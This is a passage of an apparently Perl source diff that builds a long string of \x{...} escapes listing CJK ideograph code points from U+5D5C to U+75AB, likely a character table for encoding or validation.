+'\x{5D5C}\x{5D69}\x{5D6C}\x{5D6F}\x{5D73}\x{5D76}\x{5D82}\x{5D84}\x{5D87}' .
+'\x{5D8B}\x{5D8C}\x{5D90}\x{5D9D}\x{5DA2}\x{5DAC}\x{5DAE}\x{5DB7}\x{5DBA}' .
+'\x{5DBC}\x{5DBD}\x{5DC9}\x{5DCC}\x{5DCD}\x{5DD2}\x{5DD3}\x{5DD6}\x{5DDB}' .
+'\x{5DDD}\x{5DDE}\x{5DE1}\x{5DE3}\x{5DE5}\x{5DE6}\x{5DE7}\x{5DE8}\x{5DEB}' .
+'\x{5DEE}\x{5DF1}\x{5DF2}\x{5DF3}\x{5DF4}\x{5DF5}\x{5DF7}\x{5DFB}\x{5DFD}' .
+'\x{5DFE}\x{5E02}\x{5E03}\x{5E06}\x{5E0B}\x{5E0C}\x{5E11}\x{5E16}\x{5E19}' .
+'\x{5E1A}\x{5E1B}\x{5E1D}\x{5E25}\x{5E2B}\x{5E2D}\x{5E2F}\x{5E30}\x{5E33}' .
+'\x{5E36}\x{5E37}\x{5E38}\x{5E3D}\x{5E40}\x{5E43}\x{5E44}\x{5E45}\x{5E47}' .
+'\x{5E4C}\x{5E4E}\x{5E54}\x{5E55}\x{5E57}\x{5E5F}\x{5E61}\x{5E62}\x{5E63}' .
+'\x{5E64}\x{5E72}\x{5E73}\x{5E74}\x{5E75}\x{5E76}\x{5E78}\x{5E79}\x{5E7A}' .
+'\x{5E7B}\x{5E7C}\x{5E7D}\x{5E7E}\x{5E7F}\x{5E81}\x{5E83}\x{5E84}\x{5E87}' .
+'\x{5E8A}\x{5E8F}\x{5E95}\x{5E96}\x{5E97}\x{5E9A}\x{5E9C}\x{5EA0}\x{5EA6}' .
+'\x{5EA7}\x{5EAB}\x{5EAD}\x{5EB5}\x{5EB6}\x{5EB7}\x{5EB8}\x{5EC1}\x{5EC2}' .
+'\x{5EC3}\x{5EC8}\x{5EC9}\x{5ECA}\x{5ECF}\x{5ED0}\x{5ED3}\x{5ED6}\x{5EDA}' .
+'\x{5EDB}\x{5EDD}\x{5EDF}\x{5EE0}\x{5EE1}\x{5EE2}\x{5EE3}\x{5EE8}\x{5EE9}' .
+'\x{5EEC}\x{5EF0}\x{5EF1}\x{5EF3}\x{5EF4}\x{5EF6}\x{5EF7}\x{5EF8}\x{5EFA}' .
+'\x{5EFB}\x{5EFC}\x{5EFE}\x{5EFF}\x{5F01}\x{5F03}\x{5F04}\x{5F09}\x{5F0A}' .
+'\x{5F0B}\x{5F0C}\x{5F0D}\x{5F0F}\x{5F10}\x{5F11}\x{5F13}\x{5F14}\x{5F15}' .
+'\x{5F16}\x{5F17}\x{5F18}\x{5F1B}\x{5F1F}\x{5F25}\x{5F26}\x{5F27}\x{5F29}' .
+'\x{5F2D}\x{5F2F}\x{5F31}\x{5F35}\x{5F37}\x{5F38}\x{5F3C}\x{5F3E}\x{5F41}' .
+'\x{5F48}\x{5F4A}\x{5F4C}\x{5F4E}\x{5F51}\x{5F53}\x{5F56}\x{5F57}\x{5F59}' .
+'\x{5F5C}\x{5F5D}\x{5F61}\x{5F62}\x{5F66}\x{5F69}\x{5F6A}\x{5F6B}\x{5F6C}' .
+'\x{5F6D}\x{5F70}\x{5F71}\x{5F73}\x{5F77}\x{5F79}\x{5F7C}\x{5F7F}\x{5F80}' .
+'\x{5F81}\x{5F82}\x{5F83}\x{5F84}\x{5F85}\x{5F87}\x{5F88}\x{5F8A}\x{5F8B}' .
+'\x{5F8C}\x{5F90}\x{5F91}\x{5F92}\x{5F93}\x{5F97}\x{5F98}\x{5F99}\x{5F9E}' .
+'\x{5FA0}\x{5FA1}\x{5FA8}\x{5FA9}\x{5FAA}\x{5FAD}\x{5FAE}\x{5FB3}\x{5FB4}' .
+'\x{5FB9}\x{5FBC}\x{5FBD}\x{5FC3}\x{5FC5}\x{5FCC}\x{5FCD}\x{5FD6}\x{5FD7}' .
+'\x{5FD8}\x{5FD9}\x{5FDC}\x{5FDD}\x{5FE0}\x{5FE4}\x{5FEB}\x{5FF0}\x{5FF1}' .
+'\x{5FF5}\x{5FF8}\x{5FFB}\x{5FFD}\x{5FFF}\x{600E}\x{600F}\x{6010}\x{6012}' .
+'\x{6015}\x{6016}\x{6019}\x{601B}\x{601C}\x{601D}\x{6020}\x{6021}\x{6025}' .
+'\x{6026}\x{6027}\x{6028}\x{6029}\x{602A}\x{602B}\x{602F}\x{6031}\x{603A}' .
+'\x{6041}\x{6042}\x{6043}\x{6046}\x{604A}\x{604B}\x{604D}\x{6050}\x{6052}' .
+'\x{6055}\x{6059}\x{605A}\x{605F}\x{6060}\x{6062}\x{6063}\x{6064}\x{6065}' .
+'\x{6068}\x{6069}\x{606A}\x{606B}\x{606C}\x{606D}\x{606F}\x{6070}\x{6075}' .
+'\x{6077}\x{6081}\x{6083}\x{6084}\x{6089}\x{608B}\x{608C}\x{608D}\x{6092}' .
+'\x{6094}\x{6096}\x{6097}\x{609A}\x{609B}\x{609F}\x{60A0}\x{60A3}\x{60A6}' .
+'\x{60A7}\x{60A9}\x{60AA}\x{60B2}\x{60B3}\x{60B4}\x{60B5}\x{60B6}\x{60B8}' .
+'\x{60BC}\x{60BD}\x{60C5}\x{60C6}\x{60C7}\x{60D1}\x{60D3}\x{60D8}\x{60DA}' .
+'\x{60DC}\x{60DF}\x{60E0}\x{60E1}\x{60E3}\x{60E7}\x{60E8}\x{60F0}\x{60F1}' .
+'\x{60F3}\x{60F4}\x{60F6}\x{60F7}\x{60F9}\x{60FA}\x{60FB}\x{6100}\x{6101}' .
+'\x{6103}\x{6106}\x{6108}\x{6109}\x{610D}\x{610E}\x{610F}\x{6115}\x{611A}' .
+'\x{611B}\x{611F}\x{6121}\x{6127}\x{6128}\x{612C}\x{6134}\x{613C}\x{613D}' .
+'\x{613E}\x{613F}\x{6142}\x{6144}\x{6147}\x{6148}\x{614A}\x{614B}\x{614C}' .
+'\x{614D}\x{614E}\x{6153}\x{6155}\x{6158}\x{6159}\x{615A}\x{615D}\x{615F}' .
+'\x{6162}\x{6163}\x{6165}\x{6167}\x{6168}\x{616B}\x{616E}\x{616F}\x{6170}' .
+'\x{6171}\x{6173}\x{6174}\x{6175}\x{6176}\x{6177}\x{617E}\x{6182}\x{6187}' .
+'\x{618A}\x{618E}\x{6190}\x{6191}\x{6194}\x{6196}\x{6199}\x{619A}\x{61A4}' .
+'\x{61A7}\x{61A9}\x{61AB}\x{61AC}\x{61AE}\x{61B2}\x{61B6}\x{61BA}\x{61BE}' .
+'\x{61C3}\x{61C6}\x{61C7}\x{61C8}\x{61C9}\x{61CA}\x{61CB}\x{61CC}\x{61CD}' .
+'\x{61D0}\x{61E3}\x{61E6}\x{61F2}\x{61F4}\x{61F6}\x{61F7}\x{61F8}\x{61FA}' .
+'\x{61FC}\x{61FD}\x{61FE}\x{61FF}\x{6200}\x{6208}\x{6209}\x{620A}\x{620C}' .
+'\x{620D}\x{620E}\x{6210}\x{6211}\x{6212}\x{6214}\x{6216}\x{621A}\x{621B}' .
+'\x{621D}\x{621E}\x{621F}\x{6221}\x{6226}\x{622A}\x{622E}\x{622F}\x{6230}' .
+'\x{6232}\x{6233}\x{6234}\x{6238}\x{623B}\x{623F}\x{6240}\x{6241}\x{6247}' .
+'\x{6248}\x{6249}\x{624B}\x{624D}\x{624E}\x{6253}\x{6255}\x{6258}\x{625B}' .
+'\x{625E}\x{6260}\x{6263}\x{6268}\x{626E}\x{6271}\x{6276}\x{6279}\x{627C}' .
+'\x{627E}\x{627F}\x{6280}\x{6282}\x{6283}\x{6284}\x{6289}\x{628A}\x{6291}' .
+'\x{6292}\x{6293}\x{6294}\x{6295}\x{6296}\x{6297}\x{6298}\x{629B}\x{629C}' .
+'\x{629E}\x{62AB}\x{62AC}\x{62B1}\x{62B5}\x{62B9}\x{62BB}\x{62BC}\x{62BD}' .
+'\x{62C2}\x{62C5}\x{62C6}\x{62C7}\x{62C8}\x{62C9}\x{62CA}\x{62CC}\x{62CD}' .
+'\x{62CF}\x{62D0}\x{62D1}\x{62D2}\x{62D3}\x{62D4}\x{62D7}\x{62D8}\x{62D9}' .
+'\x{62DB}\x{62DC}\x{62DD}\x{62E0}\x{62E1}\x{62EC}\x{62ED}\x{62EE}\x{62EF}' .
+'\x{62F1}\x{62F3}\x{62F5}\x{62F6}\x{62F7}\x{62FE}\x{62FF}\x{6301}\x{6302}' .
+'\x{6307}\x{6308}\x{6309}\x{630C}\x{6311}\x{6319}\x{631F}\x{6327}\x{6328}' .
+'\x{632B}\x{632F}\x{633A}\x{633D}\x{633E}\x{633F}\x{6349}\x{634C}\x{634D}' .
+'\x{634F}\x{6350}\x{6355}\x{6357}\x{635C}\x{6367}\x{6368}\x{6369}\x{636B}' .
+'\x{636E}\x{6372}\x{6376}\x{6377}\x{637A}\x{637B}\x{6380}\x{6383}\x{6388}' .
+'\x{6389}\x{638C}\x{638E}\x{638F}\x{6392}\x{6396}\x{6398}\x{639B}\x{639F}' .
+'\x{63A0}\x{63A1}\x{63A2}\x{63A3}\x{63A5}\x{63A7}\x{63A8}\x{63A9}\x{63AA}' .
+'\x{63AB}\x{63AC}\x{63B2}\x{63B4}\x{63B5}\x{63BB}\x{63BE}\x{63C0}\x{63C3}' .
+'\x{63C4}\x{63C6}\x{63C9}\x{63CF}\x{63D0}\x{63D2}\x{63D6}\x{63DA}\x{63DB}' .
+'\x{63E1}\x{63E3}\x{63E9}\x{63EE}\x{63F4}\x{63F6}\x{63FA}\x{6406}\x{640D}' .
+'\x{640F}\x{6413}\x{6416}\x{6417}\x{641C}\x{6426}\x{6428}\x{642C}\x{642D}' .
+'\x{6434}\x{6436}\x{643A}\x{643E}\x{6442}\x{644E}\x{6458}\x{6467}\x{6469}' .
+'\x{646F}\x{6476}\x{6478}\x{647A}\x{6483}\x{6488}\x{6492}\x{6493}\x{6495}' .
+'\x{649A}\x{649E}\x{64A4}\x{64A5}\x{64A9}\x{64AB}\x{64AD}\x{64AE}\x{64B0}' .
+'\x{64B2}\x{64B9}\x{64BB}\x{64BC}\x{64C1}\x{64C2}\x{64C5}\x{64C7}\x{64CD}' .
+'\x{64D2}\x{64D4}\x{64D8}\x{64DA}\x{64E0}\x{64E1}\x{64E2}\x{64E3}\x{64E6}' .
+'\x{64E7}\x{64EC}\x{64EF}\x{64F1}\x{64F2}\x{64F4}\x{64F6}\x{64FA}\x{64FD}' .
+'\x{64FE}\x{6500}\x{6505}\x{6518}\x{651C}\x{651D}\x{6523}\x{6524}\x{652A}' .
+'\x{652B}\x{652C}\x{652F}\x{6534}\x{6535}\x{6536}\x{6537}\x{6538}\x{6539}' .
+'\x{653B}\x{653E}\x{653F}\x{6545}\x{6548}\x{654D}\x{654F}\x{6551}\x{6555}' .
+'\x{6556}\x{6557}\x{6558}\x{6559}\x{655D}\x{655E}\x{6562}\x{6563}\x{6566}' .
+'\x{656C}\x{6570}\x{6572}\x{6574}\x{6575}\x{6577}\x{6578}\x{6582}\x{6583}' .
+'\x{6587}\x{6588}\x{6589}\x{658C}\x{658E}\x{6590}\x{6591}\x{6597}\x{6599}' .
+'\x{659B}\x{659C}\x{659F}\x{65A1}\x{65A4}\x{65A5}\x{65A7}\x{65AB}\x{65AC}' .
+'\x{65AD}\x{65AF}\x{65B0}\x{65B7}\x{65B9}\x{65BC}\x{65BD}\x{65C1}\x{65C3}' .
+'\x{65C4}\x{65C5}\x{65C6}\x{65CB}\x{65CC}\x{65CF}\x{65D2}\x{65D7}\x{65D9}' .
+'\x{65DB}\x{65E0}\x{65E1}\x{65E2}\x{65E5}\x{65E6}\x{65E7}\x{65E8}\x{65E9}' .
+'\x{65EC}\x{65ED}\x{65F1}\x{65FA}\x{65FB}\x{6602}\x{6603}\x{6606}\x{6607}' .
+'\x{660A}\x{660C}\x{660E}\x{660F}\x{6613}\x{6614}\x{661C}\x{661F}\x{6620}' .
+'\x{6625}\x{6627}\x{6628}\x{662D}\x{662F}\x{6634}\x{6635}\x{6636}\x{663C}' .
+'\x{663F}\x{6641}\x{6642}\x{6643}\x{6644}\x{6649}\x{664B}\x{664F}\x{6652}' .
+'\x{665D}\x{665E}\x{665F}\x{6662}\x{6664}\x{6666}\x{6667}\x{6668}\x{6669}' .
+'\x{666E}\x{666F}\x{6670}\x{6674}\x{6676}\x{667A}\x{6681}\x{6683}\x{6684}' .
+'\x{6687}\x{6688}\x{6689}\x{668E}\x{6691}\x{6696}\x{6697}\x{6698}\x{669D}' .
+'\x{66A2}\x{66A6}\x{66AB}\x{66AE}\x{66B4}\x{66B8}\x{66B9}\x{66BC}\x{66BE}' .
+'\x{66C1}\x{66C4}\x{66C7}\x{66C9}\x{66D6}\x{66D9}\x{66DA}\x{66DC}\x{66DD}' .
+'\x{66E0}\x{66E6}\x{66E9}\x{66F0}\x{66F2}\x{66F3}\x{66F4}\x{66F5}\x{66F7}' .
+'\x{66F8}\x{66F9}\x{66FC}\x{66FD}\x{66FE}\x{66FF}\x{6700}\x{6703}\x{6708}' .
+'\x{6709}\x{670B}\x{670D}\x{670F}\x{6714}\x{6715}\x{6716}\x{6717}\x{671B}' .
+'\x{671D}\x{671E}\x{671F}\x{6726}\x{6727}\x{6728}\x{672A}\x{672B}\x{672C}' .
+'\x{672D}\x{672E}\x{6731}\x{6734}\x{6736}\x{6737}\x{6738}\x{673A}\x{673D}' .
+'\x{673F}\x{6741}\x{6746}\x{6749}\x{674E}\x{674F}\x{6750}\x{6751}\x{6753}' .
+'\x{6756}\x{6759}\x{675C}\x{675E}\x{675F}\x{6760}\x{6761}\x{6762}\x{6763}' .
+'\x{6764}\x{6765}\x{676A}\x{676D}\x{676F}\x{6770}\x{6771}\x{6772}\x{6773}' .
+'\x{6775}\x{6777}\x{677C}\x{677E}\x{677F}\x{6785}\x{6787}\x{6789}\x{678B}' .
+'\x{678C}\x{6790}\x{6795}\x{6797}\x{679A}\x{679C}\x{679D}\x{67A0}\x{67A1}' .
+'\x{67A2}\x{67A6}\x{67A9}\x{67AF}\x{67B3}\x{67B4}\x{67B6}\x{67B7}\x{67B8}' .
+'\x{67B9}\x{67C1}\x{67C4}\x{67C6}\x{67CA}\x{67CE}\x{67CF}\x{67D0}\x{67D1}' .
+'\x{67D3}\x{67D4}\x{67D8}\x{67DA}\x{67DD}\x{67DE}\x{67E2}\x{67E4}\x{67E7}' .
+'\x{67E9}\x{67EC}\x{67EE}\x{67EF}\x{67F1}\x{67F3}\x{67F4}\x{67F5}\x{67FB}' .
+'\x{67FE}\x{67FF}\x{6802}\x{6803}\x{6804}\x{6813}\x{6816}\x{6817}\x{681E}' .
+'\x{6821}\x{6822}\x{6829}\x{682A}\x{682B}\x{6832}\x{6834}\x{6838}\x{6839}' .
+'\x{683C}\x{683D}\x{6840}\x{6841}\x{6842}\x{6843}\x{6846}\x{6848}\x{684D}' .
+'\x{684E}\x{6850}\x{6851}\x{6853}\x{6854}\x{6859}\x{685C}\x{685D}\x{685F}' .
+'\x{6863}\x{6867}\x{6874}\x{6876}\x{6877}\x{687E}\x{687F}\x{6881}\x{6883}' .
+'\x{6885}\x{688D}\x{688F}\x{6893}\x{6894}\x{6897}\x{689B}\x{689D}\x{689F}' .
+'\x{68A0}\x{68A2}\x{68A6}\x{68A7}\x{68A8}\x{68AD}\x{68AF}\x{68B0}\x{68B1}' .
+'\x{68B3}\x{68B5}\x{68B6}\x{68B9}\x{68BA}\x{68BC}\x{68C4}\x{68C6}\x{68C9}' .
+'\x{68CA}\x{68CB}\x{68CD}\x{68D2}\x{68D4}\x{68D5}\x{68D7}\x{68D8}\x{68DA}' .
+'\x{68DF}\x{68E0}\x{68E1}\x{68E3}\x{68E7}\x{68EE}\x{68EF}\x{68F2}\x{68F9}' .
+'\x{68FA}\x{6900}\x{6901}\x{6904}\x{6905}\x{6908}\x{690B}\x{690C}\x{690D}' .
+'\x{690E}\x{690F}\x{6912}\x{6919}\x{691A}\x{691B}\x{691C}\x{6921}\x{6922}' .
+'\x{6923}\x{6925}\x{6926}\x{6928}\x{692A}\x{6930}\x{6934}\x{6936}\x{6939}' .
+'\x{693D}\x{693F}\x{694A}\x{6953}\x{6954}\x{6955}\x{6959}\x{695A}\x{695C}' .
+'\x{695D}\x{695E}\x{6960}\x{6961}\x{6962}\x{696A}\x{696B}\x{696D}\x{696E}' .
+'\x{696F}\x{6973}\x{6974}\x{6975}\x{6977}\x{6978}\x{6979}\x{697C}\x{697D}' .
+'\x{697E}\x{6981}\x{6982}\x{698A}\x{698E}\x{6991}\x{6994}\x{6995}\x{699B}' .
+'\x{699C}\x{69A0}\x{69A7}\x{69AE}\x{69B1}\x{69B2}\x{69B4}\x{69BB}\x{69BE}' .
+'\x{69BF}\x{69C1}\x{69C3}\x{69C7}\x{69CA}\x{69CB}\x{69CC}\x{69CD}\x{69CE}' .
+'\x{69D0}\x{69D3}\x{69D8}\x{69D9}\x{69DD}\x{69DE}\x{69E7}\x{69E8}\x{69EB}' .
+'\x{69ED}\x{69F2}\x{69F9}\x{69FB}\x{69FD}\x{69FF}\x{6A02}\x{6A05}\x{6A0A}' .
+'\x{6A0B}\x{6A0C}\x{6A12}\x{6A13}\x{6A14}\x{6A17}\x{6A19}\x{6A1B}\x{6A1E}' .
+'\x{6A1F}\x{6A21}\x{6A22}\x{6A23}\x{6A29}\x{6A2A}\x{6A2B}\x{6A2E}\x{6A35}' .
+'\x{6A36}\x{6A38}\x{6A39}\x{6A3A}\x{6A3D}\x{6A44}\x{6A47}\x{6A48}\x{6A4B}' .
+'\x{6A58}\x{6A59}\x{6A5F}\x{6A61}\x{6A62}\x{6A66}\x{6A72}\x{6A78}\x{6A7F}' .
+'\x{6A80}\x{6A84}\x{6A8D}\x{6A8E}\x{6A90}\x{6A97}\x{6A9C}\x{6AA0}\x{6AA2}' .
+'\x{6AA3}\x{6AAA}\x{6AAC}\x{6AAE}\x{6AB3}\x{6AB8}\x{6ABB}\x{6AC1}\x{6AC2}' .
+'\x{6AC3}\x{6AD1}\x{6AD3}\x{6ADA}\x{6ADB}\x{6ADE}\x{6ADF}\x{6AE8}\x{6AEA}' .
+'\x{6AFA}\x{6AFB}\x{6B04}\x{6B05}\x{6B0A}\x{6B12}\x{6B16}\x{6B1D}\x{6B1F}' .
+'\x{6B20}\x{6B21}\x{6B23}\x{6B27}\x{6B32}\x{6B37}\x{6B38}\x{6B39}\x{6B3A}' .
+'\x{6B3D}\x{6B3E}\x{6B43}\x{6B47}\x{6B49}\x{6B4C}\x{6B4E}\x{6B50}\x{6B53}' .
+'\x{6B54}\x{6B59}\x{6B5B}\x{6B5F}\x{6B61}\x{6B62}\x{6B63}\x{6B64}\x{6B66}' .
+'\x{6B69}\x{6B6A}\x{6B6F}\x{6B73}\x{6B74}\x{6B78}\x{6B79}\x{6B7B}\x{6B7F}' .
+'\x{6B80}\x{6B83}\x{6B84}\x{6B86}\x{6B89}\x{6B8A}\x{6B8B}\x{6B8D}\x{6B95}' .
+'\x{6B96}\x{6B98}\x{6B9E}\x{6BA4}\x{6BAA}\x{6BAB}\x{6BAF}\x{6BB1}\x{6BB2}' .
+'\x{6BB3}\x{6BB4}\x{6BB5}\x{6BB7}\x{6BBA}\x{6BBB}\x{6BBC}\x{6BBF}\x{6BC0}' .
+'\x{6BC5}\x{6BC6}\x{6BCB}\x{6BCD}\x{6BCE}\x{6BD2}\x{6BD3}\x{6BD4}\x{6BD8}' .
+'\x{6BDB}\x{6BDF}\x{6BEB}\x{6BEC}\x{6BEF}\x{6BF3}\x{6C08}\x{6C0F}\x{6C11}' .
+'\x{6C13}\x{6C14}\x{6C17}\x{6C1B}\x{6C23}\x{6C24}\x{6C34}\x{6C37}\x{6C38}' .
+'\x{6C3E}\x{6C40}\x{6C41}\x{6C42}\x{6C4E}\x{6C50}\x{6C55}\x{6C57}\x{6C5A}' .
+'\x{6C5D}\x{6C5E}\x{6C5F}\x{6C60}\x{6C62}\x{6C68}\x{6C6A}\x{6C70}\x{6C72}' .
+'\x{6C73}\x{6C7A}\x{6C7D}\x{6C7E}\x{6C81}\x{6C82}\x{6C83}\x{6C88}\x{6C8C}' .
+'\x{6C8D}\x{6C90}\x{6C92}\x{6C93}\x{6C96}\x{6C99}\x{6C9A}\x{6C9B}\x{6CA1}' .
+'\x{6CA2}\x{6CAB}\x{6CAE}\x{6CB1}\x{6CB3}\x{6CB8}\x{6CB9}\x{6CBA}\x{6CBB}' .
+'\x{6CBC}\x{6CBD}\x{6CBE}\x{6CBF}\x{6CC1}\x{6CC4}\x{6CC5}\x{6CC9}\x{6CCA}' .
+'\x{6CCC}\x{6CD3}\x{6CD5}\x{6CD7}\x{6CD9}\x{6CDB}\x{6CDD}\x{6CE1}\x{6CE2}' .
+'\x{6CE3}\x{6CE5}\x{6CE8}\x{6CEA}\x{6CEF}\x{6CF0}\x{6CF1}\x{6CF3}\x{6D0B}' .
+'\x{6D0C}\x{6D12}\x{6D17}\x{6D19}\x{6D1B}\x{6D1E}\x{6D1F}\x{6D25}\x{6D29}' .
+'\x{6D2A}\x{6D2B}\x{6D32}\x{6D33}\x{6D35}\x{6D36}\x{6D38}\x{6D3B}\x{6D3D}' .
+'\x{6D3E}\x{6D41}\x{6D44}\x{6D45}\x{6D59}\x{6D5A}\x{6D5C}\x{6D63}\x{6D64}' .
+'\x{6D66}\x{6D69}\x{6D6A}\x{6D6C}\x{6D6E}\x{6D74}\x{6D77}\x{6D78}\x{6D79}' .
+'\x{6D85}\x{6D88}\x{6D8C}\x{6D8E}\x{6D93}\x{6D95}\x{6D99}\x{6D9B}\x{6D9C}' .
+'\x{6DAF}\x{6DB2}\x{6DB5}\x{6DB8}\x{6DBC}\x{6DC0}\x{6DC5}\x{6DC6}\x{6DC7}' .
+'\x{6DCB}\x{6DCC}\x{6DD1}\x{6DD2}\x{6DD5}\x{6DD8}\x{6DD9}\x{6DDE}\x{6DE1}' .
+'\x{6DE4}\x{6DE6}\x{6DE8}\x{6DEA}\x{6DEB}\x{6DEC}\x{6DEE}\x{6DF1}\x{6DF3}' .
+'\x{6DF5}\x{6DF7}\x{6DF9}\x{6DFA}\x{6DFB}\x{6E05}\x{6E07}\x{6E08}\x{6E09}' .
+'\x{6E0A}\x{6E0B}\x{6E13}\x{6E15}\x{6E19}\x{6E1A}\x{6E1B}\x{6E1D}\x{6E1F}' .
+'\x{6E20}\x{6E21}\x{6E23}\x{6E24}\x{6E25}\x{6E26}\x{6E29}\x{6E2B}\x{6E2C}' .
+'\x{6E2D}\x{6E2E}\x{6E2F}\x{6E38}\x{6E3A}\x{6E3E}\x{6E43}\x{6E4A}\x{6E4D}' .
+'\x{6E4E}\x{6E56}\x{6E58}\x{6E5B}\x{6E5F}\x{6E67}\x{6E6B}\x{6E6E}\x{6E6F}' .
+'\x{6E72}\x{6E76}\x{6E7E}\x{6E7F}\x{6E80}\x{6E82}\x{6E8C}\x{6E8F}\x{6E90}' .
+'\x{6E96}\x{6E98}\x{6E9C}\x{6E9D}\x{6E9F}\x{6EA2}\x{6EA5}\x{6EAA}\x{6EAF}' .
+'\x{6EB2}\x{6EB6}\x{6EB7}\x{6EBA}\x{6EBD}\x{6EC2}\x{6EC4}\x{6EC5}\x{6EC9}' .
+'\x{6ECB}\x{6ECC}\x{6ED1}\x{6ED3}\x{6ED4}\x{6ED5}\x{6EDD}\x{6EDE}\x{6EEC}' .
+'\x{6EEF}\x{6EF2}\x{6EF4}\x{6EF7}\x{6EF8}\x{6EFE}\x{6EFF}\x{6F01}\x{6F02}' .
+'\x{6F06}\x{6F09}\x{6F0F}\x{6F11}\x{6F13}\x{6F14}\x{6F15}\x{6F20}\x{6F22}' .
+'\x{6F23}\x{6F2B}\x{6F2C}\x{6F31}\x{6F32}\x{6F38}\x{6F3E}\x{6F3F}\x{6F41}' .
+'\x{6F45}\x{6F54}\x{6F58}\x{6F5B}\x{6F5C}\x{6F5F}\x{6F64}\x{6F66}\x{6F6D}' .
+'\x{6F6E}\x{6F6F}\x{6F70}\x{6F74}\x{6F78}\x{6F7A}\x{6F7C}\x{6F80}\x{6F81}' .
+'\x{6F82}\x{6F84}\x{6F86}\x{6F8E}\x{6F91}\x{6F97}\x{6FA1}\x{6FA3}\x{6FA4}' .
+'\x{6FAA}\x{6FB1}\x{6FB3}\x{6FB9}\x{6FC0}\x{6FC1}\x{6FC2}\x{6FC3}\x{6FC6}' .
+'\x{6FD4}\x{6FD5}\x{6FD8}\x{6FDB}\x{6FDF}\x{6FE0}\x{6FE1}\x{6FE4}\x{6FEB}' .
+'\x{6FEC}\x{6FEE}\x{6FEF}\x{6FF1}\x{6FF3}\x{6FF6}\x{6FFA}\x{6FFE}\x{7001}' .
+'\x{7009}\x{700B}\x{700F}\x{7011}\x{7015}\x{7018}\x{701A}\x{701B}\x{701D}' .
+'\x{701E}\x{701F}\x{7026}\x{7027}\x{702C}\x{7030}\x{7032}\x{703E}\x{704C}' .
+'\x{7051}\x{7058}\x{7063}\x{706B}\x{706F}\x{7070}\x{7078}\x{707C}\x{707D}' .
+'\x{7089}\x{708A}\x{708E}\x{7092}\x{7099}\x{70AC}\x{70AD}\x{70AE}\x{70AF}' .
+'\x{70B3}\x{70B8}\x{70B9}\x{70BA}\x{70C8}\x{70CB}\x{70CF}\x{70D9}\x{70DD}' .
+'\x{70DF}\x{70F1}\x{70F9}\x{70FD}\x{7109}\x{7114}\x{7119}\x{711A}\x{711C}' .
+'\x{7121}\x{7126}\x{7136}\x{713C}\x{7149}\x{714C}\x{714E}\x{7155}\x{7156}' .
+'\x{7159}\x{7162}\x{7164}\x{7165}\x{7166}\x{7167}\x{7169}\x{716C}\x{716E}' .
+'\x{717D}\x{7184}\x{7188}\x{718A}\x{718F}\x{7194}\x{7195}\x{7199}\x{719F}' .
+'\x{71A8}\x{71AC}\x{71B1}\x{71B9}\x{71BE}\x{71C3}\x{71C8}\x{71C9}\x{71CE}' .
+'\x{71D0}\x{71D2}\x{71D4}\x{71D5}\x{71D7}\x{71DF}\x{71E0}\x{71E5}\x{71E6}' .
+'\x{71E7}\x{71EC}\x{71ED}\x{71EE}\x{71F5}\x{71F9}\x{71FB}\x{71FC}\x{71FF}' .
+'\x{7206}\x{720D}\x{7210}\x{721B}\x{7228}\x{722A}\x{722C}\x{722D}\x{7230}' .
+'\x{7232}\x{7235}\x{7236}\x{723A}\x{723B}\x{723C}\x{723D}\x{723E}\x{723F}' .
+'\x{7240}\x{7246}\x{7247}\x{7248}\x{724B}\x{724C}\x{7252}\x{7258}\x{7259}' .
+'\x{725B}\x{725D}\x{725F}\x{7261}\x{7262}\x{7267}\x{7269}\x{7272}\x{7274}' .
+'\x{7279}\x{727D}\x{727E}\x{7280}\x{7281}\x{7282}\x{7287}\x{7292}\x{7296}' .
+'\x{72A0}\x{72A2}\x{72A7}\x{72AC}\x{72AF}\x{72B2}\x{72B6}\x{72B9}\x{72C2}' .
+'\x{72C3}\x{72C4}\x{72C6}\x{72CE}\x{72D0}\x{72D2}\x{72D7}\x{72D9}\x{72DB}' .
+'\x{72E0}\x{72E1}\x{72E2}\x{72E9}\x{72EC}\x{72ED}\x{72F7}\x{72F8}\x{72F9}' .
+'\x{72FC}\x{72FD}\x{730A}\x{7316}\x{7317}\x{731B}\x{731C}\x{731D}\x{731F}' .
+'\x{7325}\x{7329}\x{732A}\x{732B}\x{732E}\x{732F}\x{7334}\x{7336}\x{7337}' .
+'\x{733E}\x{733F}\x{7344}\x{7345}\x{734E}\x{734F}\x{7357}\x{7363}\x{7368}' .
+'\x{736A}\x{7370}\x{7372}\x{7375}\x{7378}\x{737A}\x{737B}\x{7384}\x{7387}' .
+'\x{7389}\x{738B}\x{7396}\x{73A9}\x{73B2}\x{73B3}\x{73BB}\x{73C0}\x{73C2}' .
+'\x{73C8}\x{73CA}\x{73CD}\x{73CE}\x{73DE}\x{73E0}\x{73E5}\x{73EA}\x{73ED}' .
+'\x{73EE}\x{73F1}\x{73F8}\x{73FE}\x{7403}\x{7405}\x{7406}\x{7409}\x{7422}' .
+'\x{7425}\x{7432}\x{7433}\x{7434}\x{7435}\x{7436}\x{743A}\x{743F}\x{7441}' .
+'\x{7455}\x{7459}\x{745A}\x{745B}\x{745C}\x{745E}\x{745F}\x{7460}\x{7463}' .
+'\x{7464}\x{7469}\x{746A}\x{746F}\x{7470}\x{7473}\x{7476}\x{747E}\x{7483}' .
+'\x{748B}\x{749E}\x{74A2}\x{74A7}\x{74B0}\x{74BD}\x{74CA}\x{74CF}\x{74D4}' .
+'\x{74DC}\x{74E0}\x{74E2}\x{74E3}\x{74E6}\x{74E7}\x{74E9}\x{74EE}\x{74F0}' .
+'\x{74F1}\x{74F2}\x{74F6}\x{74F7}\x{74F8}\x{7503}\x{7504}\x{7505}\x{750C}' .
+'\x{750D}\x{750E}\x{7511}\x{7513}\x{7515}\x{7518}\x{751A}\x{751C}\x{751E}' .
+'\x{751F}\x{7523}\x{7525}\x{7526}\x{7528}\x{752B}\x{752C}\x{7530}\x{7531}' .
+'\x{7532}\x{7533}\x{7537}\x{7538}\x{753A}\x{753B}\x{753C}\x{7544}\x{7546}' .
+'\x{7549}\x{754A}\x{754B}\x{754C}\x{754D}\x{754F}\x{7551}\x{7554}\x{7559}' .
+'\x{755A}\x{755B}\x{755C}\x{755D}\x{7560}\x{7562}\x{7564}\x{7565}\x{7566}' .
+'\x{7567}\x{7569}\x{756A}\x{756B}\x{756D}\x{7570}\x{7573}\x{7574}\x{7576}' .
+'\x{7577}\x{7578}\x{757F}\x{7582}\x{7586}\x{7587}\x{7589}\x{758A}\x{758B}' .
+'\x{758E}\x{758F}\x{7591}\x{7594}\x{759A}\x{759D}\x{75A3}\x{75A5}\x{75AB}' .
